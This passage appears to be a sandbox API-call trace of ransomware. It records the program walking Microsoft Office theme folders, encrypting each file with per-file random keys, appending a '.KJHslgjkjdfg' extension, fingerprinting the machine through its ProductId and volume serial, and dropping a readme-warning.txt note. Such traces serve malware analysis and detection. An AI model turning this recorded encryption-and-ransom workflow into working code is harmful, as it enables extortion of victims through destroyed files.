lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.226] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.226] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.226] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.226] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.226] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.227] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.227] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.227] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.227] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7c5d, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x7c5d, lpOverlapped=0x0) returned 1 [0146.228] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7c60, dwBufLen=0x7c60 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7c60) returned 1 [0146.228] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.228] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x7c60, lpOverlapped=0x0) returned 1 [0146.229] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.229] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x7d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.229] SetEndOfFile (hFile=0x118) returned 1 [0146.248] GetProcessHeap () returned 0x2a0000 [0146.248] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.248] GetProcessHeap () returned 0x2a0000 [0146.248] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.253] CloseHandle (hObject=0x118) returned 1 [0146.253] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.253] GetProcessHeap () returned 0x2a0000 [0146.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.254] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.254] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.254] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.254] GetProcessHeap () returned 0x2a0000 [0146.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.254] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.254] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.254] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.254] GetProcessHeap () returned 0x2a0000 [0146.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.254] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.254] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.254] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.254] GetProcessHeap () returned 0x2a0000 [0146.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.254] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.254] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.254] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.254] GetProcessHeap () returned 0x2a0000 [0146.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.254] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.254] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.254] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.254] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.255] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.255] RegCloseKey (hKey=0x118) returned 0x0 [0146.255] GetProcessHeap () returned 0x2a0000 [0146.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.255] GetProcessHeap () returned 0x2a0000 [0146.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.255] GetProcessHeap () returned 0x2a0000 [0146.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.255] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.255] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.255] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.255] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.255] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.255] GetProcessHeap () returned 0x2a0000 [0146.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.255] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.256] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.256] GetProcessHeap () returned 0x2a0000 [0146.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.256] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\readme-warning.txt") returned 83 [0146.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.256] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.257] CloseHandle (hObject=0x118) returned 1 [0146.258] GetProcessHeap () returned 0x2a0000 [0146.258] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.258] GetProcessHeap () returned 0x2a0000 [0146.258] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.258] GetProcessHeap () returned 0x2a0000 [0146.258] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.258] GetProcessHeap () returned 0x2a0000 [0146.258] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.258] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.258] GetProcessHeap () returned 0x2a0000 [0146.258] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.258] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0146.258] GetProcessHeap () returned 0x2a0000 [0146.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0146.258] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.260] GetProcessHeap () returned 0x2a0000 [0146.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0146.260] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.260] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0146.260] GetProcessHeap () returned 0x2a0000 [0146.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2f32d0 [0146.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.260] GetProcessHeap () returned 0x2a0000 [0146.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.260] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.260] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.261] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0146.263] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.263] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.263] GetProcessHeap () returned 0x2a0000 [0146.263] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0146.263] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0146.263] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.264] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0146.264] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.264] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.264] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.264] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.264] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.264] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.264] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.264] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.264] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a537, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1a537, lpOverlapped=0x0) returned 1 [0146.266] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1a540, dwBufLen=0x1a540 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1a540) returned 1 [0146.268] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.268] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a540, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1a540, lpOverlapped=0x0) returned 1 [0146.268] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.268] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1a604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.268] SetEndOfFile (hFile=0x118) returned 1 [0146.272] GetProcessHeap () returned 0x2a0000 [0146.272] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0146.272] GetProcessHeap () returned 0x2a0000 [0146.272] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.272] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.kjhslgjkjdfg")) returned 1 [0146.273] CloseHandle (hObject=0x118) returned 1 [0146.273] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0146.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.275] GetProcessHeap () returned 0x2a0000 [0146.275] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.275] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.275] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.275] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0146.277] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.277] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.277] GetProcessHeap () returned 0x2a0000 [0146.277] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0146.277] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0146.277] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.277] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0146.277] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.277] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.277] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.278] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.278] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.278] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.278] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.278] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.278] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c2, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1c2, lpOverlapped=0x0) returned 1 [0146.278] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1d0) returned 1 [0146.278] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.278] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1d0, lpOverlapped=0x0) returned 1 [0146.278] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.278] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.278] SetEndOfFile (hFile=0x118) returned 1 [0146.281] GetProcessHeap () returned 0x2a0000 [0146.281] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0146.281] GetProcessHeap () returned 0x2a0000 [0146.281] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.kjhslgjkjdfg")) returned 1 [0146.288] CloseHandle (hObject=0x118) returned 1 [0146.288] 